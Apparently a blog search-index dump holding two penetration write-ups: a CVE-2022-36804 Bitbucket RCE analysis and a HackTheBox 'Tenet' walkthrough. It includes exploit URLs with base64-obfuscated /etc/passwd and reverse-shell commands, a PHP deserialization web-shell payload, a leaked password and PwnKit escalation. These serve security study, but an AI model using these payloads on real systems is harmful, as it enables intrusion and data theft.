http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?format=zip\u0026amp;\u0026amp;path=\u0026amp;prefix=test/%00--remote=\u0026#39;\u0026#39;%00--exec=echo+\u0026#39;Y2F0IC9ldGMvcGFzc3dkCg==\u0026#39;+%7c+base64+-d++%7c+sh;%00 # reverse shell http://10.10.111.35:7990/rest/api/latest/projects/PUB/repos/repo/archive?format=zip\u0026amp;=\u0026amp;path=\u0026amp;prefix=test/%00--remote=\u0026#39;\u0026#39;%00--exec=echo+\u0026#39;YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xMTEuMS80NDQ0IDA%2bJjEK\u0026#39;+%7c+base64+-d++%7c+sh;%00 Note: the executed command is not fully echoed back — the output gets truncated; just treat it as a blind RCE\nFor example, executing cat /etc/passwd only showed root\nRef Install Note:https://confluence.atlassian.com/bitbucketserver/supported-platforms-776640981.html https://www.geek-share.com/detail/2803770907.html https://www.anquanke.com/post/id/280193 2019 5th Internet Security Leader Summit — Exploring the Common Attack Surface of Git-based Version Control Services.pdf ","permalink":"https://www.unc.la/en/posts/penetration/fokg4x/","summary":"\u003ch1 id=\"critical-severity-command-injection-vulnerability---cve-2022-36804\"\u003eCritical severity command injection vulnerability - CVE-2022-36804\u003c/h1\u003e\n\u003cp\u003eOfficial advisory: \u003ca href=\"https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html\"\u003ehttps://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s diff 8.3.0 vs 8.3.1, and get familiar with the workflow of diffing jar packages in IDEA along the way:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.0-x64.bin\"\u003ehttps://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.0-x64.bin\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.1-x64.bin\"\u003ehttps://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-8.3.1-x64.bin\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAnalyzing the patch, two suspicious spots were found:\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2022/png/166008/1661829452233-9b67c7b5-742c-44b7-bc8a-4fcae28ffa97.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"patch1\"\u003epatch#1\u003c/h2\u003e\n\u003cp\u003efound \u003ccode\u003ebitbucket/atlassian-bitbucket-8.3.0-x64/app/WEB-INF/lib/nuprocess-2.0.2-atlassian-3.jar!/com/zaxxer/nuprocess/NuProcessBuilder.class\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003ethe patch#1 is like:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-plain\" data-lang=\"plain\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e this.ensureNoNullCharacters(commands);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eA new method \u003ccode\u003eensureNoNullCharacters\u003c/code\u003e was added\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ecommand.indexOf(0): checks whether the command contains the \u003ccode\u003e\\u0000\u003c/code\u003e character\u003c/li\u003e\n\u003cli\u003eIf it does, an exception is thrown directly: \u003ccode\u003eCommands may not contain null characters\u003c/code\u003e — you can add this hint value in your PoC\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eensureNoNullCharacters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecommands\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eIterator\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evar2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecommands\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eiterator\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecommand\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003edo\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003evar2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ehasNext\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003ecommand\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003evar2\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003enext\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecommand\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eindexOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIllegalArgumentException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Commands may not contain null characters\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe full patch is below:\u003c/p\u003e","title":"[CVE-2022-36804] Bitbucket Pre-auth RCE Vulnerability"},{"content":" Tenet\t10.10.10.223 https://app.hackthebox.com/machines/Tenet/ export ip=10.10.10.223 \u0026amp;\u0026amp; export url=http://10.10.10.223:80 \u0026amp;\u0026amp; echo ok Information Gathering Nmap:\nNmap scan report for 10.10.10.223 Host is up (1.1s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA) | 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA) |_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Directory scanning:\nThe scan found WordPress, which redirected to tenet.htb, so I added a hosts entry and fired up wpscan:\nwpscan --url http://tenet.htb -e m,u Enumerated users:\nneil protagonist Tried brute-forcing with fasttrac.txt, without success.\nWhile browsing around, I found a hint at http://tenet.htb/index.php/comments/feed/:\n\u0026lt;description\u0026gt;\u0026lt;![CDATA[did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!]]\u0026gt;\u0026lt;/description\u0026gt; \u0026lt;content:encoded\u0026gt;\u0026lt;![CDATA[\u0026lt;p\u0026gt;did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!\u0026lt;/p\u0026gt; ]]\u0026gt;\u0026lt;/content:encoded\u0026gt; Ran dirsearch with --suffix sator.php — nothing there.\nThen a thought struck me out of nowhere — could it be\u0026hellip;\nhttp://10.10.10.223/sator.php http://10.10.10.223/sator.php.bak Sure enough, when it comes to backup files it\u0026rsquo;s .bak — so .swp doesn\u0026rsquo;t even get a glance?\nSee also:\nFilenames ending with a tilde (~) on Linux How .swp files are created on Linux and how to deal with them A quick look at the code shows a deliberate deserialization.\nThe __destruct function is triggered when an object is destroyed — which in practice means the deserialized object being destroyed after deserialization.\nI initially misread this part (thinking the $data variable was overwritten). Note that:\nThe variable initialized on line 24 has a very long name and is never used again in the code afterward. Lines 26 and 27 are of no practical value for the attack. After the code finishes, the object created by deserialization is destroyed, triggering the __destruct method — which is the shell write. Since we control both the filename and the file contents, simply generate the serialized payload, send it over, and we get a shell written.\n\u0026lt;?php class DatabaseExport { public function __construct() { $this-\u0026gt;user_file = \u0026#39;suck.php\u0026#39;; $this-\u0026gt;data = \u0026#39;\u0026lt;?php system($_GET[1]);?\u0026gt;\u0026#39;; } } $app = new DatabaseExport; $databaseupdate = serialize($app); echo $databaseupdate; ?\u0026gt; http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:{s:9:%22user_file%22;s:8:%22suck.php%22;s:4:%22data%22;s:25:%22%3C?php%20system($_GET[1]);?%3E%22;} Privilege Escalation After landing the www-data user, I learned there was a \u0026lt;font style=\u0026quot;color:rgb(0, 0, 0);\u0026quot;\u0026gt;neil\u0026lt;/font\u0026gt; user, so I started hunting for privilege escalation leads (I also ran msf\u0026rsquo;s infogather module along the way — useless)\n[+] Info: [+] Ubuntu 18.04.5 LTS [+] Linux tenet 4.15.0-129-generic #132-Ubuntu SMP Thu Dec 10 14:02:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux [+] Module running as \u0026#34;neil\u0026#34; user Read wordpress/wp-config.php, got the password Opera2112, and successfully got in as neil:\nNext, to escalate to root: took a quick look at cron jobs and file interfaces, found nothing suspicious, then searched for files with the SUID bit set:\nfind / -perm -u=s 2\u0026gt; /dev/null Seeing polkit, I recalled there seemed to be an LPE vulnerability, and found CVE-2021-4034\nThere was actually a Python3 environment on the box — very deliberate.\nPwned.\nRetrospective Configure a wpscan API token — it\u0026rsquo;s the more reliable approach wpscan brute-force command: wpscan --url [] -U uli -P pli -t 10 Polkit Privilege Escalation Vulnerability (PwnKit) Commands to verify whether the vulnerability exists dpkg -l policykit* — note it\u0026rsquo;s not \u0026ldquo;polkit\u0026rdquo; anymore (the wildcard * also works) rpm -qa | grep polkit The two most common ways to install software in the Linux world are:\ndpkg :\nThis mechanism was originally developed by the Debian Linux community. Through the dpkg mechanism, software provided by Debian can be installed easily, and it also provides information about installed software — quite handy indeed. Most Linux distributions derived from Debian use dpkg to manage their software, including B2D, Ubuntu, and others.\nRPM :\nThis mechanism was originally developed by Red Hat, and since it turned out to be really useful, many distributions adopted it as their software installation management mechanism, including well-known vendors such as Fedora, CentOS, and SuSE.\n- pkexec --version neil@tenet:/var/www/html$ dpkg -l policykit-1 ... policykit-1 0.105-20ubuntu0.1 amd64 ... neil@tenet:/var/www/html$ pkexec --version pkexec version 0.105 neil@tenet:/var/www/ht Keep msf up to date\ncve_2021_4034_pwnkit_lpe_pkexec.rb only made it into msf in January 2022; the old version I was using didn\u0026rsquo;t have it. It is indeed reliably exploitable: I recommend reading msf\u0026rsquo;s exploit code, especially the check part — it\u0026rsquo;s essentially just version matching, but the craftsmanship is still impressive! Refs https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb CVE-2021-4034: Linux Polkit Privilege Escalation Vulnerability Reproduction and Fix ","permalink":"https://www.unc.la/en/posts/penetration/nmvt4o/","summary":"\u003cul\u003e\n\u003cli\u003eTenet\t10.10.10.223\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://app.hackthebox.com/machines/Tenet/\"\u003ehttps://app.hackthebox.com/machines/Tenet/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-basic\" data-lang=\"basic\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"vg\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eip\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mf\"\u003e10.10.10.223\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"nl\"\u003ehttp:\u003c/span\u003e\u003cspan class=\"o\"\u003e//\u003c/span\u003e\u003cspan class=\"mf\"\u003e10.10.10.223\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"il\"\u003e80\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eecho\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eok\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch1 id=\"information-gathering\"\u003eInformation Gathering\u003c/h1\u003e\n\u003cp\u003eNmap:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-basic\" data-lang=\"basic\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"vg\"\u003eNmap\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003escan\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003ereport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e10.10.10.223\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"vg\"\u003eHost\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eup\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e1.1\u003c/span\u003e\u003cspan class=\"vg\"\u003es\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"vg\"\u003eNot\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003eshown:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"il\"\u003e65533\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eclosed\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eports\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"vg\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"vg\"\u003ePORT\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"vg\"\u003eSTATE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eSERVICE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eVERSION\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"il\"\u003e22\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"vg\"\u003etcp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eopen\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"vg\"\u003essh\u003c/span\u003e\u003cspan class=\"w\"\u003e     \u003c/span\u003e\u003cspan class=\"vg\"\u003eOpenSSH\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e7.6\u003c/span\u003e\u003cspan class=\"vg\"\u003ep1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"il\"\u003e4\u003c/span\u003e\u003cspan class=\"vg\"\u003eubuntu0\u003c/span\u003e\u003cspan class=\"mf\"\u003e.3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"vg\"\u003eUbuntu\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003eprotocol\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"vg\"\u003essh\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"nl\"\u003ehostkey:\u003c/span\u003e\u003cspan class=\"w\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"il\"\u003e2048\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003ecc:ca:\u003c/span\u003e\u003cspan class=\"il\"\u003e43\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nl\"\u003ed4:\u003c/span\u003e\u003cspan class=\"il\"\u003e4\u003c/span\u003e\u003cspan class=\"nl\"\u003ec:e7:\u003c/span\u003e\u003cspan class=\"il\"\u003e4\u003c/span\u003e\u003cspan class=\"nl\"\u003ee:bf:\u003c/span\u003e\u003cspan class=\"il\"\u003e26\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nl\"\u003ef4:\u003c/span\u003e\u003cspan class=\"il\"\u003e27\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nl\"\u003eea:b8:\u003c/span\u003e\u003cspan class=\"il\"\u003e75\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nl\"\u003ea8:\u003c/span\u003e\u003cspan class=\"vg\"\u003ef8\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"vg\"\u003eRSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"w\"\u003e   \u003c/span\u003e\u003cspan class=\"il\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"il\"\u003e85\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nl\"\u003ef3:ac:ba:\u003c/span\u003e\u003cspan class=\"il\"\u003e1\u003c/span\u003e\u003cspan class=\"nl\"\u003ea:\u003c/span\u003e\u003cspan class=\"il\"\u003e6\u003c/span\u003e\u003cspan class=\"nl\"\u003ea:\u003c/span\u003e\u003cspan class=\"il\"\u003e03\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"il\"\u003e59\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nl\"\u003ee2:\u003c/span\u003e\u003cspan class=\"il\"\u003e7\u003c/span\u003e\u003cspan class=\"nl\"\u003ee:\u003c/span\u003e\u003cspan class=\"il\"\u003e86\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"il\"\u003e47\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"nl\"\u003ee7:\u003c/span\u003e\u003cspan class=\"il\"\u003e3\u003c/span\u003e\u003cspan class=\"nl\"\u003ee:\u003c/span\u003e\u003cspan class=\"il\"\u003e3\u003c/span\u003e\u003cspan class=\"nl\"\u003ec:\u003c/span\u003e\u003cspan class=\"il\"\u003e00\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"vg\"\u003eECDSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"o\"\u003e|\u003c/span\u003e\u003cspan class=\"vg\"\u003e_\u003c/span\u003e\u003cspan class=\"w\"\u003e  \u003c/span\u003e\u003cspan class=\"il\"\u003e256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nl\"\u003ee7:e9:\u003c/span\u003e\u003cspan class=\"il\"\u003e9\u003c/span\u003e\u003cspan class=\"nl\"\u003ea:dd:c3:\u003c/span\u003e\u003cspan class=\"il\"\u003e4\u003c/span\u003e\u003cspan class=\"nl\"\u003ea:\u003c/span\u003e\u003cspan class=\"il\"\u003e2\u003c/span\u003e\u003cspan class=\"nl\"\u003ef:\u003c/span\u003e\u003cspan class=\"il\"\u003e7\u003c/span\u003e\u003cspan class=\"nl\"\u003ea:e1:e0:\u003c/span\u003e\u003cspan class=\"il\"\u003e5\u003c/span\u003e\u003cspan 